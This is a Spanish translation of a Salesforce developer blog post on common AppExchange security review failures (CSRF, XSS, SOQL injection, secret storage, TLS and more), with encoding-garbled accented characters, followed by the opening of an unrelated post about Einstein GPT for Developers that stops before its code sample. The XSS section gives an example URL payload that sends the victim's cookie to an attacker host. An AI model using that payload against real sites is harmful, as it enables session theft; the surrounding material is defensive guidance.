  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnolog铆a transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este a帽o, anunciamos Einstein GPT para desarrolladores , la soluci贸n de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce m谩s r谩pido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora est谩 en piloto cerrado.

Creado espec铆ficamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar c贸digo Apex utilizando lenguaje natural. El soporte para LWC llegar谩 pronto. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos c贸mo comenzar con Einstein GPT para el desarrollo de Apex y c贸mo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificaci贸n de IA

Las herramientas de codificaci贸n de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes p煤blicos, como Java, Python y otros, as铆 como en c贸digo disponible p煤blicamente. Dado que los lenguajes espec铆ficos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitaci贸n necesaria para brindar recomendaciones precisas.

Adem谩s, las herramientas de codificaci贸n de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificaci贸n p煤blicas carecen del contexto de Salesforce de su organizaci贸n, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por 煤ltimo, el uso de herramientas de inteligencia artificial disponibles p煤blicamente expone su c贸digo privado m谩s all谩 del l铆mite de confianza de Salesforce y podr铆a hacerlo p煤blico, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de c贸digo abierto para la s铆ntesis de programas. Hospedamos CodeGen dentro del l铆mite de confianza de Salesforce y lo hemos capacitado en lenguajes espec铆ficos de Salesforce como Apex y LWC. Con una base din谩mica incorporada al proceso de generaci贸n de c贸digo, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y c贸digo. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y c贸digo permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que est茅 disponible en Open Beta para Dreamforce 2023. Una vez que su organizaci贸n est茅 habilitada para esta herramienta, puede instalar la extensi贸n Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT tambi茅n estar谩 disponible en Code Builder , nuestro IDE basado en web, que se espera que est茅 disponible de forma general en octubre. 隆Est茅n atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el men煤 y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organizaci贸n para conectarse a una organizaci贸n sandbox o a una organizaci贸n borrador de Salesforce. Podr谩 utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si est谩 utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la funci贸n adicional de organizaci贸n borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la funci贸n EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar c贸digo Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar c贸digo con Einstein GPT (ver captura de pantalla a continuaci贸n) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuaci贸n se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llam茅moslo OpportunityQuerySelector. Cree un m茅todo llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta espec铆fico. El m茅todo debe aceptar accountId como par谩metro. Siga las mejores pr谩cticas de seguridad y aseg煤rese de que el c贸digo se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuaci贸n.

